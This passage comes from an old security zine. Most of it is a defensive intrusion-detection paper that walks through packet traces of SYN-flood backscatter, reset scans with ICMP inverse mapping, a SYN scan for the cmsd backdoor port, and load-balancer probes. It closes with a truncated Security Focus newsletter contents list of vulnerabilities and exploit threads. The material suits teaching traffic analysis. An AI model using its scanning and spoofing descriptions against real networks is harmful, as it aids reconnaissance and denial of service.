      port 510 (firstclass) on the schools FirstClass server. Given the presence
      of RST ACK packets from port 510 to multiple IPs, it seemed the schools
      system was resisting my theorized SYN flood, perhaps by closure of port 510.
    
      I contacted the school and confirmed their FirstClass server had
      been under a denial of service attack at the time and date noted in the
      packets sent to my hosts. The attacker was SYN flooding ports 68 (boot-p)
      and 510 (firstclass). The firstclass.server.edu system was not compromised 
      and it was not originating the packets sent to my hosts. It was an innocent
      victim. The ACK 674711610 was generated by the tool used to SYN flood the
      hapless host. (To be precise, the packets sent by the tool sent packets with
      initial sequence numbers of 674711609, to which firstclass.server.edu replied
      with RST ACK 674711610.)
    
      While I specifically confirmed this case as being the third party
      effect of a SYN flood against an innocent victim, I have found dozens of
      similar traffic involving ACK 674711610. Here are two cases: the first with
      the SYN flooded ports open (6666 and 6667), replying SYN ACK; the second with
      the SYN flooded ports closed (23), replying RST ACK.
    
      SYN flooded port open:
    
      05:41:36.772836 major.irc.host.6666 > spoofed.ip.one.1578:
      S 1822395560:1822395560(0) ack 674711610 win 4096 <mss 1460> (DF)
      05:41:53.834459 major.irc.host.6666 > spoofed.ip.two.1578:
      S 311457256:311457256(0) ack 674711610 win 4096 <mss 1460> (DF)
      05:42:00.765914 major.irc.host.6667 > spoofed.ip.three.1433:
      S 1074583123:1074583123(0) ack 674711610 win 61440 <mss 1460> (DF)
      05:42:08.955560 major.irc.host.6666 > spoofed.ip.four.1433:
      S 2056091293:2056091293(0) ack 674711610 win 4096 <mss 1460> (DF)
      05:43:08.425388 major.irc.host.6666 > spoofed.ip.two.1578:
      S 311457256:311457256(0) ack 674711610 win 4096 <mss 1460> (DF)
      05:43:09.175868 major.irc.host.6666 > spoofed.ip.one.1578:
      S 1822395560:1822395560(0) ack 674711610 win 4096 <mss 1460> (DF)
      05:43:09.816458 major.irc.host.6666 > spoofed.ip.four.1433:
      S 2056091293:2056091293(0) ack 674711610 win 4096 <mss 1460> (DF)
      05:43:10.558625 major.irc.host.6667 > spoofed.ip.three.1433:
      S 1074583123:1074583123(0) ack 674711610 win 61440 <mss 1460> (DF)
    
      SYN flooded port closed:
    
      12:52:10.879563 auction.this.com.23 > spoofed.ip.one.1985:
      R 0:0(0) ack 674711610 win 0
      12:54:37.882708 auction.this.com.23 > spoofed.ip.one.1554:
      R 0:0(0) ack 674711610 win 0
      12:55:38.961649 auction.this.com.23 > spoofed.ip.one.1409:
      R 0:0(0) ack 674711610 win 0
    
      Again, note the time delay between packets. This indicates not all the
      IPs spoofed by the attacker belonged to our monitored network.
    
      The next trace prompted a similar investigation:
    
      10:20:52.097570 commercial.web.server.21 > spoofed.ip.one.1485:
      R 0:0(0) ack 674719802 win 0 (ttl 50, id 1034)
      10:22:28.994103 commercial.web.server.23 > spoofed.ip.one.1485:
      R 0:0(0) ack 674719802 win 0 (ttl 50, id 38438)
      10:25:43.004888 commercial.web.server.53 > spoofed.ip.one.1485:
      R 0:0(0) ack 674719802 win (ttl 50, id 43626)
    
      10:20:40.594667 commercial.web.server.21 > spoofed.ip.two.2104:
      R 0:0(0) ack 674719802 win 0 (ttl 45, id 14598)
      10:22:17.576229 commercial.web.server.23 > spoofed.ip.two.2104:
      R 0:0(0) ack 674719802 win 0 (ttl 45, id 11298)
      10:25:31.402693 commercial.web.server.53 > spoofed.ip.two.2104:
      R 0:0(0) ack 674719802 0 (ttl 45, id 33894)
    
      10:20:31.126616 commercial.web.server.21 > spoofed.ip.three.1667:
      R 0:0(0) ack 674719802 win 0 (ttl 44, id 35589)
      10:22:08.074117 commercial.web.server.23 > spoofed.ip.three.1667:
      R 0:0(0) ack 674719802 win 0 (ttl 44, id 20256)
      10:25:22.038942 commercial.web.server.53 > spoofed.ip.three.1667:
      R 0:0(0) ack 674719802 win 0 (ttl 44, id 14437)
    
      This source IP belonged to a commercial web site. While the three
      "source" ports, 21 (ftp), 23 (telnet), and 53 (dns) made little sense as true
      source ports, they might be good candidates as targets of a SYN flood. Sure
      enough, after contacting the web site, the system administrator told me a 
      hired security consulancy had tested the web server with a denial of service
      attack at the exact date and time indicated by my logs. Therefore, it is 
      likely similar traces with ACK 674719802 are also the result of an attacker
      spoofing our IPs to SYN flood a separate victim. I do not believe these 
      packets are generated to scan the destination IPs (here listed as
      spoofed.ip.xxxx).
    
      As with ACK 674711610, I have found many examples of third party 
      effects of SYN floods, where innocent victims are sending response packets to
      spoofed source IPs.
    
      SYN flooded port open:
    
      22:23:08.281683 biology.web.com.23 > spoofed.ip.one.1502:
      S 2894258800:2894258800(0) ack 674719802 win 8192 <mss 65512>
      22:25:46.030135 biology.web.com.23 > spoofed.ip.one.2154:
      S 4154715243:4154715243(0) ack 674719802 win 8192 <mss 152>
      22:26:24.456103 biology.web.com.23 > spoofed.ip.one.2026:
      S 159261598:159261598(0) ack 674719802 win 8192 <mss 32>
      22:29:38.265734 biology.web.com.23 > spoofed.ip.one.1838:
      S 1866996756:1866996756(0) ack 674719802 win 8192 <mss 152>
    
      SYN flooded port closed:
    
      22:34:47.629194 van.smack.net.21 > spoofed.ip.two.2031:
      R 0:0(0) ack 674719802 win 0
      22:36:01.282720 van.smack.net.21 > spoofed.ip.two.1071:
      R 0:0(0) ack 674719802 win 0
      22:36:11.483963 van.smack.net.21 > spoofed.ip.two.2143:
      R 0:0(0) ack 674719802 win 0
    
      At this time I am convinced that packets bearing ACK 674711610 and
      674719802 are most likely the third party effects of a SYN flood against an
      innocent victim. This has been shown in my experience by contacting the sites
      which are the "sources" of these packets, and investigating their associated
      network histories.
    
      [ To See or Not to See ]
    
      We mentioned earlier the importance of knowing the internal logic of
      a NIDS. We should wonder:
    
      - What does it see? 
      - What does it not see? 
      - What prompts it to alert?
      - What does it save for future research?
      - How long is the data archived?
    
      Keeping these questions in mind, consider the following traffic. I 
      show two R ACK packets, but dozens of a similar nature were involved. I 
      select only two to make a point:
    
      11:04:08.179097 irc_host.popular.net.57728 > slab2.concord.net.1524:
      R 0:0(0) ack 674719802 win 0 (ttl 52, id 41449)
    
      11:02:54.896930 irc_host.popular.net.2645 > brick9.lowell.net.1524:
      R 0:0(0) ack 674719802 win 0 (ttl 48, id 21070)
    
      This is what your NIDS shows you. You may initially be concerned by
      the apparent destination port of this activity, 1524 (ingreslock). This 
      port is associated with a default backdoor installed by an exploit against 
      the Calendar Manager Service Daemon, rpc.cmsd. Is someone trying to 
      determine if port 1524 is open on these two hosts? 
    
      Thankfully, you are not the average analyst. In addition to relying on 
      your NIDS, you also run the sniffer Snoop on hosts monitoring the concord.net 
      and lowell.net networks. They capture a "wide view" of network traffic, 
      looking at all 65535 TCP and UDP ports, but only storing data for a short time.
      Perhaps you use this program to "tune" your IDS to take closer looks at other
      ports not monitored by default, like 1524 may be. If you act quickly enough,
      perhaps your Snoop data can help explain these strangely targetted RST ACK
      packets? (Note it is essential to know how long your data is archived, and in
      what format!)
    
      The Snoop engine at concord.net reveals:
    
      irc_host.popular.net -> slab30.concord.net TCP D=2394 S=39232
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab73.concord.net TCP D=1505 S=55500
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab251.concord.net TCP D=1853 S=23199
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab14.concord.net TCP D=2464 S=35067
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab52.concord.net TCP D=1834 S=2834
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab202.concord.net TCP D=1834 S=35735
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab113.concord.net TCP D=1294 S=45368
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab172.concord.net TCP D=2423 S=9196
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> slab48.concord.net TCP D=1623 S=40104
      Rst Ack=674719802 Win=0
    
      Notice the new ports involved! The NIDS only alerted on the connection 
      to port 1524 at slab2.concord.net, but here we see packets straight from the 
      wire, with many other ports observed. Take a look at a snapshot of Snoop data
      from the NIDS engine watching the lowell.net network:
    
      irc_host.popular.net -> brick91.lowell.net TCP D=1505 S=64196
      Rst Ack=674719802 Win=0
      router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
      irc_host.popular.net -> brick177.lowell.net TCP D=2464 S=17017
      Rst Ack=674719802 Win=0
      router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
      irc_host.popular.net -> brick27.lowell.net TCP D=1223 S=1631
      Rst Ack=674719802 Win=0
      router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
      irc_host.popular.net -> brick145.lowell.net TCP D=1223 S=4875
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> brick23.lowell.net TCP D=1882 S=6298
      Rst Ack=674719802 Win=0
      irc_host.popular.net -> brick203.lowell.net TCP D=1882 S=42542
      Rst Ack=674719802 Win=0
      router.lowell.net -> irc_host.popular.net ICMP Destination unreachable (Bad host)
    
      Again, notice the multitude of source and destination ports listed. 
      While these ports might not cause the NIDS to alert, they do help describe the
      total level of activity on the lowell.net network. So exactly what is happening? 
    
      Observe lowell.net is allowing outbound ICMP messages. The four (Bad 
      host) messages indicate some hosts on lowell.net do not exist, which could
      help a malicious scanner use an "inverse mapping" technique to locate existing
      hosts. This brings us to the controversial notion of "reset scans." The 
      purpose of a reset scan is to determine the presence of live hosts on a network.
      A technique known as inverse mapping can be used to find live hosts on a network
      which allows ICMP through its boundary, as the lowell.net router appears to do. 
      If an attacker sends a RST ACK packet to a host which does not exist, the 
      destination networks router should send an ICMP host unreachable message. If 
      the router is silent, we assume the target host MIGHT exist. Again, this 
      technique relies on routers passing ICMP. As no ICMP destination unreachable
      messages are passed from the concord.net network for packets to nine hosts, it
      is likely ICMP messages are not allowed from the boundary concord.net router.
      A reset scan of concord.net would not yield nothing but false positive results
      to a reconnaissance gatherer. As lowell.net does allow ICMP outbound, a scanner
      could attempt to map that network.
    
      Reset scans can not be used to determine if ports are open on target
      machines. Why? Both open and closed ports should remain silent if a RST ACK
      pacekt is received. While not all vendors may implement this aspect of the RFC
      appropriately, most attempts to exploit these differences would be swamped by
      the false positive rate. Therefore, it was highly unlikely in the first place
      that any malicious scanner would be trying to check port 1524s status using
      RST ACK packets. Furthermore, observe the ACK 674719802. This is
      representative of the third party SYN flood packets noted earlier. Taking
      these factors collectively, it is highly probable these packets are the result
      of a malicious Internet user spoofing concord.net and lowell.net IPs to SYN
      flood irc_host.popular.net. We are observing the response packets from the
      innocent victim.
    
      This case demonstrates the need to understand what your NIDS does and
      does not collect. The last example alerted on port 1524, but provided data
      for a large portion of unrelated ports. This allowed us to at least
      understand the activity was not solely a "probe" for port 1524, and was most
      likely third party traffic not directed maliciously against our networks. 
    
      How do you interpret the trace below?
    
      07:52:22.761612 cmsd.exploiter.net.1896 > mybox1.domain.net.1524:
      S 821595473:821595473(0) win 32428 (DF)
      07:52:22.766387 mybox1.domain.net.1524 > cmsd.exploiter.net.1896:
      R 0:0(0) ack 821595474 win 0 (DF)
      07:52:23.006341 cmsd.exploiter.net.1897 > mybox2.domain.net.1524:
      S 822457122:822457122(0) win 32428 (DF)
      07:52:23.010838 mybox2.domain.net.1524 > cmsd.exploiter.net.1897:
      R 0:0(0) ack 822457123 win 0 (DF)
      07:52:23.239994 cmsd.exploiter.net.1898 > mybox3.domain.net.1524:
      S 825883544:825883544(0) win 32428 (DF)
      07:52:23.243345 mybox3.domain.net.1524 > cmsd.exploiter.net.1898:
      R 0:0(0) ack 825883545 win 0 (DF)
      07:52:23.487389 cmsd.exploiter.net.1899 > mybox4.domain.net.1524:
      S 820436438:820436438(0) win 32428 (DF)
      07:52:23.492224 mybox4.domain.net.1524 > cmsd.exploiter.net.1899:
      R 0:0(0) ack 820436439 win 0 (DF)
      07:52:23.720158 cmsd.exploiter.net.1900 > mybox5.domain.net.1524:
      S 826588670:826588670(0) win 32428 (DF)
      07:52:23.723228 mybox5.domain.net.1524 > cmsd.exploiter.net.1900:
      R 0:0(0) ack 826588671 win 0 (DF)
    
      Yes, thats a straight-forward SYN scan for the cmsd backdoor port. 
      These scans are in the wild, but not very frequent as of writing this paper. 
      I included it to display a clear example of someone actively searching for 
      port 1524, and finding all hosts have it closed.
    
      [ A Final Case ]
    
      I will conclude with a set of interesting traces which initially 
      stumped me. With the help of my colleagues, and especially Mark Shaw, I 
      pieced together the following case. Assume all the activity was registered 
      by a single NIDS monitoring name.server.net.
    
      09:22:56.960442 tester.newjersey.net.2100 > name.server.net.53:
      S 2070441966:2070442030(64) win 2048 (ttl 246, id 34960)
      09:22:56.960555 tester.newjersey.net.2101 > name.server.net.53:
      S 1884680148:1884680212(64) win 2048 (ttl 246, id 8490)
      09:22:56.960669 tester.newjersey.net.2102 > name.server.net.53:
      S 938156752:938156816(64) win 2048 (ttl 246, id 17966)
      09:26:30.485472 tester.newjersey.net.2100 > name.server.net.53:
      S 593222604:593222668(64) win 2048 (ttl 246, id 10971)
      09:26:30.485586 tester.newjersey.net.2101 > name.server.net.53:
      S 171736880:171736944(64) win 2048 (ttl 246, id 6989)
      09:26:30.486219 tester.newjersey.net.2102 > name.server.net.53:
      S 1199445751:1199445815(64) win 2048 (ttl 246, id 47166)
    
      09:24:13.867591 tester.brazil.net.2100 > name.server.net.53:
      S 795939539:795939603(64) win 2048 (ttl 241, id 53652)
      09:24:13.868783 tester.brazil.net.2101 > name.server.net.53:
      S 2049322111:2049322175(64) win 2048 (ttl 241, id 13883)
      09:24:13.873062 tester.brazil.net.2102 > name.server.net.53:
      S 1779866028:1779866092(64) win 2048 (ttl 241, id 14298)
      09:27:16.429927 tester.brazil.net.2100 > name.server.net.53:
      S 931465437:931465501(64) win 2048 (ttl 241, id 31626)
      09:27:16.430511 tester.brazil.net.2102 > name.server.net.53:
      S 432021209:432021273(64) win 2048 (ttl 241, id 61920)
      09:28:04.337763 tester.brazil.net.2600 > name.server.net.53:
      S 535782194:535782258(64) win 2048 (ttl 241, id 7673)
      09:28:04.339246 tester.brazil.net.2601 > name.server.net.53:
      S 1049573717:1049573781(64) win 2048 (ttl 241, id 37399)
      09:28:04.339383 tester.brazil.net.2602 > name.server.net.53:
      S 148280449:148280513(64) win 2048 (ttl 241, id 25525)
    
      09:23:26.765186 tester.argentina.net.2100 > name.server.net.53:
      S 1616673589:1616673653(64) win 2048 (ttl 241, id 21017)
      09:23:26.765744 tester.argentina.net.2101 > name.server.net.53:
      S 1351385345:1351385409(64) win 2048 (ttl 241, id 9204)
      09:23:26.766781 tester.argentina.net.2102 > name.server.net.53:
      S 184647009:184647073(64) win 2048 (ttl 241, id 8397)
      09:24:26.275614 tester.argentina.net.2100 > name.server.net.53:
      S 1577583159:1577583223(64) win 2048 (ttl 241, id 10735)
      09:24:26.276245 tester.argentina.net.2101 > name.server.net.53:
      S 1874158503:1874158567(64) win 2048 (ttl 241, id 44674)
      09:24:26.276922 tester.argentina.net.2102 > name.server.net.53:
      S 1571547407:1571547471(64) win 2048 (ttl 241, id 20440)
      09:25:42.915131 tester.argentina.net.2100 > name.server.net.53:
      S 988147012:988147076(64) win 2048 (ttl 241, id 41923)
      09:25:42.915743 tester.argentina.net.2101 > name.server.net.53:
      S 819957179:819957243(64) win 2048 (ttl 241, id 40998)
      09:25:42.916419 tester.argentina.net.2102 > name.server.net.53:
      S 1343568781:1343568845(64) win 2048 (ttl 241, id 22882)
      09:28:48.579580 tester.argentina.net.2100 > name.server.net.53:
      S 120895333:120895397(64) win 2048 (ttl 241, id 15515)
      09:28:48.579698 tester.argentina.net.2101 > name.server.net.53:
      S 1822910275:1822910339(64) win 2048 (ttl 241, id 50576)
      09:28:48.580506 tester.argentina.net.2102 > name.server.net.53:
      S 142062086:142062150(64) win 2048 (ttl 241, id 6874)
    
      Let us apply structured analysis to classify this activity.
    
      - IPs: We see three separate machines -- tester.newjersey.net,
      tester.brazil.net, and tester.argentina.net -- attempting to connect to a 
      single machine, name.server.net. You cannot determine anything more about the
      three initiating IPs, but name.server.net (you guessed it) is your name server.
    
      - Ports: On the initiating side, we see a possible pattern. From each
      source IP, ports 2100, 2101, and 2102 are used. The tester.brazil.net box
      also employs 2600 (greets), 2601, and 2602. All destination ports are 53
      (domain name service). Normal DNS traffic typically employs UDP, while zone
      transfers are done via TCP. Note BIND versions 8.2 and higher offer name
      queries via TCP. This process complicates our analysis and must be saved 
      for a future paper. 
    
      - Flags: Every connection is a single SYN. This would indicate an attempt to
      begin the three-way handshake to exchange data, or perhaps start a scan.
    
      - Traffic direction/activity: All traffic is sent from one of the three
      hosts to name.server.net. No replies are seen. Each source packet seems to
      contain 64 bytes of data. This differs from the very first trace we
      presented, showing an exchange between ftp.client.org and ftp.server.org. In
      the SYN packet which started that transfer, no data was passed. We can only
      guess at the data contained, as it was not saved with the rest of the TCP
      packet. For comparisons sake, bbserve the difference in the second line of
      each trace:
    
      Case 1: No data in SYN packet:
    
      14:05:27.083238 ftp.client.org.1057 > ftp.server.edu.21:
      S 1484414:1484414(0)
    
      Case 2: 64 bytes in SYN packet:
    
      09:22:56.960442 tester.newjersey.net.2100 > name.server.net.53:
      S 2070441966:2070442030(64)
    
      - Time: All of the packets are sent between 09:22 and 09:28 on the same day.
      This indicates some level of coordination. 
    
      - Window size, TTL, and other features: Window size for each packet is 2048
      bytes. TTLs for the two South American hosts are smaller than the New
      Jersey host, indicating they may have hopped through more routers on their way
      to your American-based name.server.net. This is to be expected if each host
      sets its initial TTL to the same value, such as 255.
    
      - Bottom line: Why would three hosts all try to connect to one of our name
      servers, nearly simultaneously? Could they be responding to an action by one
      of our hosts? Is this activity malicious?
    
      After discussing the situation with my colleagues, I formed a theory
      and sent emails to the points of contact listed in ARIN information for the
      three hosts. One of the three responded and explained the situation. The 
      three IPs are part of a system which performs "load balancing" and dynamic
      redirection to a commercial web site. 
    
      When a customer first tries to connect to the web site, he asks his
      name server to do a forward DNS lookup to resolve the web URL to an IP
      address. The name server providing resolutions for the web URL answers
      the customers request, then forwards the IP of the customers name server to
      a load balancing "director." This director tells tester.newjersey.net,
      tester.brazil.net, and tester.argentina.net to take measurements to decide 
      which of their three geographically associated web servers is "closest" to the 
      client. 
    
      In this case, closest means "lowest latency," as measured by
      server-to-client round trip times (RTTs). Due to network traffic, one of the
      web servers can respond faster than its brother web servers. By dynamically
      redirecting a web query, the load balancing system can achieve faster service
      and better server performance. Furthermore, each caches name server
      IPs and periodically revisits them to anticipate future client queries.
      The goal of the system is to provide the quickest response time to the web
      browsing client while efficiently managing activity on the web server. While
      some in the security community view this activity as a malicious attempt to
      map the customers network, I see it as a realistic attempt to serve the
      hundreds of thousands to millions of customers who visit the more popular
      web sites each day.
    
      I found this particular load balancing system begins its tests by 
      sending ICMP packets. If ICMP is denied by the clients routers or firewalls,
      the load balancer then attempts to connect to TCP port 53 on the clients name
      server. This explains the packets we are investigating. Since the name server
      in our example did not appear to respond, we can assume the load balancing
      program did not work out as planned, unfortunately.
    
      What might be the next step? The network engineer responsible for these
      load balancers told me a final, more aggressive latency test can be made. Here
      the system would essentially scan the clients name server for an open port,
      then use the replying SYN ACK packet to test response time. Yes, this would
      look exactly like a multiple service port scan! For this reason, the network
      engineer said he has disabled this feature. Have you seen activity fitting
      this description against your name server?
    
      The final trace is from another load balancing system. It uses a 
      different packet type to do the job. Rather than SYN packets with 64 bytes of
      data, it sends SYN ACKs with no data. This activity was recorded after a
      visit to a site which employs the load balancing products. Neither the
      client (X) nor the web server (Y) are shown below, but four hosts involved 
      with load balancing are included. They are:
    
      name1.server.net: DNS for web browsing client X
      name2.server.net: DNS for web browsing client X
      mayfield.ohio.net: Load balancer 1 for web server Y
      greenbelt.maryland.net: Load balancer 2 for web server Y
    
      This is the course of events:
    
      1. Web browsing client X tries to connect to web server Y.
    
      2. The clients TCP/IP suite employs DNS name1.server.net to associate
      IP with the name of web server Y.
    
      3. When the DNS serving web server Y is contacted, it passes the
      clients IP to mayfield.ohio.net and greenbelt.ohio.net. At this 
      point the web server and its load balancing system may try to redirect
      the web browser to the closest server. This does not have to happen
      immediately, but it will most likely happen upon a return visit.
    
      4. At regular intervals following the web browsing visit (and perhaps
      during the visit), mayfield.ohio.net and greenbelt.ohio.net try to
      contact the clients DNS, which is name1.server.net.
    
      5. At some point another system on client Xs network (or client X
      himself) tries to connect to web server Y, but uses name2.server.net. 
      The same caching of name2.server.nets IP by mayfield.ohio.net and 
      greenbelt.ohio.net occurs.
    
      6. The traffic below transpires. We see attempts by the two load 
      balancers to contact the two name servers, measure the round trip time
      (RTT), and provide more responsive service to future web visitors on
      client Xs network.
    
      Here is the first load balancing server in action:
    
      06:01:15.001304 mayfield.ohio.net.44132 > name1.server.net.53:
      S 10399587:10399587(0) ack 10399586 win 4128 <mss 556> (ttl 241, id 0)
      06:01:16.999359 mayfield.ohio.net.44132 > name1.server.net.53:
      S 10399587:10399587(0) ack 10399586 win 4128 <mss 556> (ttl 241, id 0)
      06:01:17.498365 mayfield.ohio.net.44133 > name2.server.net.53:
      S 10399588:10399588(0) ack 10399587 win 4128 <mss 556> (ttl 241, id 0)
      06:01:18.528689 mayfield.ohio.net.44135 > name1.server.net.53:
      S 10399590:10399590(0) ack 10399589 win 4128 <mss 556> (ttl 241, id 0)
      06:01:20.524742 mayfield.ohio.net.44135 > name1.server.net.53:
      S 10399590:10399590(0) ack 10399589 win 4128 <mss 556> (ttl 241, id 0)
    
      ... (thirteen similar packets deleted for clarity)
    
      06:01:58.754918 mayfield.ohio.net.44172 > name2.server.net.53:
      S 10399627:10399627(0) ack 10399626 win 4128 <mss 556> (ttl 241, id 0)
    
      Here is the second load balancing server, simultaneously 
      testing the same two name servers:
    
      06:01:14.967214 greenbelt.maryland.net.63604 > name1.server.net.53:
      S 34541003:34541003(0) ack 34541002 win 4128 <mss 556> (ttl 249, id 0)
      06:01:17.461642 greenbelt.maryland.net.63607 > name2.server.net.53:
      S 34541006:34541006(0) ack 34541005 win 4128 <mss 556> (ttl 249, id 0)
      06:01:18.503320 greenbelt.maryland.net.63609 > name1.server.net.53:
      S 34541008:34541008(0) ack 34541007 win 4128 <mss 556> (ttl 249, id 0)
      06:01:19.464217 greenbelt.maryland.net.63607 > name2.server.net.53:
      S 34541006:34541006(0) ack 34541005 win 4128 <mss 556> (ttl 249, id 0)
      06:01:20.682888 greenbelt.maryland.net.63615 > name2.server.net.53:
      S 34541014:34541014(0) ack 34541013 win 4128 <mss 556> (ttl 249, id 0)
    
      ... (seven similar packets deleted for clarity)
    
      06:01:56.995151 greenbelt.maryland.net.63764 > name2.server.net.53:
      S 34541163:34541163(0) ack 34541162 win 4128 <mss 556> (ttl 249, id 0)
    
      Note I reconstructed steps one through six earlier based upon my
      contacts with vendors and my understanding of load balancing operation.
      It is my best interpretation of the network traces, and shows how one can
      try to rebuild a puzzle given one or two crucial pieces.
    
      [ Conclusion ]
    
      In this paper, we began with a warning to know and potentially mistrust
      your NIDS. We introduced TCPDump, used it to look at a simple exchange of
      data via ftp, and discussed SYN floods. Multiple variations of SYN flood
      traffic was shown, and the possible use of a "reset scan" was mentioned.
      We finished with two more-or-less solved cases. I hope this paper has
      encouraged you to take a closer look at your NIDS data, and share what you 
      find. I look forward to hearing from you.
    
      [ Appendix: Trace Excerpt with Absolute Sequence Numbers Printed]
    
      Relative sequence numbers are usually used, since we are typically
      interested in the amount of data passed once the intitial sequence numbers are
      established. Plus, listing every full sequence number involves showing many
      distracting digits! Nevertheless, I found the following trace useful to 
      understand whom is ACKing whom. It is a web exchange between a dialup client
      and a web server.
    
      11:42:18.407029 dialup.modem.net.1052 > web.server.org.80:
      S 382137:382137(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      11:42:18.582348 web.server.org.80 > dialup.modem.net.1052:
      S 1616321351:1616321351(0) ack 382138 win 9112 <nop,nop,sackOK,mss 536> (DF)
      11:42:18.593124 dialup.modem.net.1052 > web.server.org.80:
      . ack 1616321352 win 8576 (DF)
      11:42:18.659933 dialup.modem.net.1052 > web.server.org.80:
      . 382138:382674(536) ack 1616321352 win 8576 (DF)
      11:42:18.664698 dialup.modem.net.1052 > web.server.org.80:
      P 382674:382684(10) ack 1616321352 win 8576 (DF)
      11:42:18.884944 web.server.org.80 > dialup.modem.net.1052:
      . ack 382674 win 9112 (DF)
      11:42:18.949336 web.server.org.80 > dialup.modem.net.1052:
      . ack 382684 win 9112 (DF)
      11:42:19.106286 web.server.org.80 > dialup.modem.net.1052:
      P 1616321352:1616321766(414) ack 382684 win 9112 (DF)
      11:42:19.232579 dialup.modem.net.1052 > web.server.org.80:
      . ack 1616321766 win 8162 (DF)
      11:42:19.320803 web.server.org.80 > dialup.modem.net.1052:
      P 1616321766:1616321774(8) ack 382684 win 9112 (DF)
      11:42:19.359277 web.server.org.80 > dialup.modem.net.1052:
      P 1616321774:1616321854(80) ack 382684 win 9112 (DF)
      11:42:19.366198 dialup.modem.net.1052 > web.server.org.80:
      . ack 1616321854 win 8074 (DF)
    
      Notice one sequence number is used by each side before any data is 
      passed. web.server.org ACKs 382138 (showing 382137 was "used"), and
      dialup.modem.net ACKs 1616321352 (showing 1616321351 was "used"). 
      Knowing these ACK numbers, we know the first byte of data passed from 
      dialup.modem.net will be 382138, and the first byte passed by 
      web.server.net will be 1616321352. Sure enough, the fourth packet, 
    
      11:42:18.659933 dialup.modem.net.1052 > web.server.org.80:
      . 382138:382674(536) ack 1616321352 win 8576 (DF)
    
      and the eighth packet,
    
      11:42:19.106286 web.server.org.80 > dialup.modem.net.1052:
      P 1616321352:1616321766(414) ack 382684 win 9112 (DF)
    
      confirm this understanding of sequence numbers. Check the 
      format again to be sure:
    
      sequence number of first byte in packet:sequence number of first 
      byte in NEXT packet (data)
    
      Armed with this knowledge, the relative sequence numbers should 
      make sense as well.
    
      [ References ]
    
      Daemon9, aka Route. "Project Neptune." (Phrack 48, Article 13, 1996)
    
      Irwin, Vicki and Pomeranz, Hal. "Advanced Intrusion Detection and
      Packet Filtering." (SANS Network Security 99, 1999)
    
      Newsham, Tim, and Ptacek, Tom. "Insertion, Evasion, and Denial of 
      Service: Eluding Network Intrusion Detection." (Secure
      Networks, Inc., 1998)
    
      Northcutt, Stephen. "Network Intrusion Detection: An Analysts Handbook."
      (Indianapolis, Indiana: New Riders, 1999)
    
      Postel, Jon (ed.). "RFC 793: Transmission Control Protocol."
      (Defense Advanced Research Projects Agency, 1981)
    
      Stevens, W. Richard. "TCP/IP Illustrated, Volume 1: The Protocols."
      (Reading, Massachusetts: Addison-Wesley, 1994)
    
      [ Acknowledgements ]
    
      I would like to thank the following people for reading and commenting
      upon this paper, or giving me guidance prior to writing: Chad Renfro, Bamm
      Visscher, Mark Shaw, Chuck Port, Cheryl Knecht, Sam Adams, John Green, 
      Dustin Childs, Judy Novak, and all members of the Intrusion Detection Flight!      
     
      @HWA
      
40.0  Security Focus Newsletter #16
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      Security Focus Newsletter #16
      Table of Contents:
      
      I.   INTRODUCTION
      II.  BUGTRAQ SUMMARY
      1. FormHandler.cgi Reply Attachment Vulnerability
      2. E-MailClub Buffer Overflow Vulnerability
      3. W4 Server Cgitest.exe Buffer Overflow Vulnerability
      4. WebBBS login & password Buffer Overflow Vulnerability
      5. Lynx Internal URL "secure" Parameter/Internal Link Verification
      Vulnerability
      6. Gene6 G6 FTP Server Buffer Overflow DoS Vulnerability
      7. Tektronix PhaserLink Webserver Vulnerability
      8. Microsoft Riched20.dll Buffer Overflow Vulnerability
      9. Linux syslogd Denial of Service Vulnerability
      10. Pine Environment Variable Expansion in URLS Vulnerability
      11. Solaris rpc.ttdbserver Denial of Service Vulnerability
      12. ProFTPD mod_sqlpw Vulnerability
      13. ZetaMail Login DoS Vulnerability
      14. HP JetDirect Internal Webserver Long URL DoS Vulnerability
      III. PATCH UPDATES
      1. Vulnerability Patched: Multiple BIND Vulnerabilities (SCO)
      2. Vulnerability Patched: Multiple BIND Vulnerabilities (Debian)
      3. Vulnerability Patched: thttpd buffer overflow
      4. Vulnerability Patched: Real Server Administrator Port Buffer
      Overflow
      IV.  INCIDENTS SUMMARY
      1. Re: Repeated FTP Connections (Thread)
      2. Re: New network probe - tcp port 98 (Thread)
      3. Class C UDP scans? (Thread)
      4. firewall puzzle (Thread)
      5. Print servers vulnerable to Trojans? (Thread)
      6. Probes for port 930? (Thread)
      7. UDP scans on port 31789 a.k.a "Hack'a'tack" (Thread)
      8. [INFO] mail.jtausa.com [209.39.1.226] Telnet and FTP Attempts
      (Thread)
      9. cracker probing 1542 (Thread)
      10. cracker probing 1542 (Thread)
      11. portmapper scaning [port 111] (Thread)
      12. snmpwalk(?) port scanning [port 161] (Thread)
      V. VULN-DEV RESEARCH LIST SUMMARY
      1. Re: INZIDER! (Thread)
      2. potential chage ovf (Thread)
      3. Re: [Fwd: Netscape mail client error]
      4. Possible DoS attack against Microsoft SQL Server 7.0 (Thread)
      5. Re: vlock bug ? (fwd)
      6. Re: development of wordpad exploit (Thread)
      7. icq accounts (Thread)
      8. riched20.dll exploit (Thread)
      VI.   SECURITY JOBS
         Seeking Staff:
      1. Account Executive #293 - New York, NY
      2. Software Security Consultant #581 - NYC
      3. Regional Account Executive #293 - Palo Alto, CA
      4. Security Management Applications Product Manager 339
      VII.  SECURITY SURVEY RESULTS
      VIII. SECURITY FOCUS TOP 6 TOOLS
      1. SecurityFocus.com Pager (Win95/98/NT)
      2. PingSting 1.0 (FreeBSD, Linux and OpenBSD)
      3. cgi-check99 v0.4  (Multiple OS's - Run via Rebol)
      4. Snoot 1.3.1 (FreeBSD, HP-UX, IRIX, Linux, MacOS, NetBSD, O
      penBSD and Solaris)
      5. BUGS 2.0.1 (HP-UX, Linux, Solaris, SunOS, UNIX, Windows 2000,
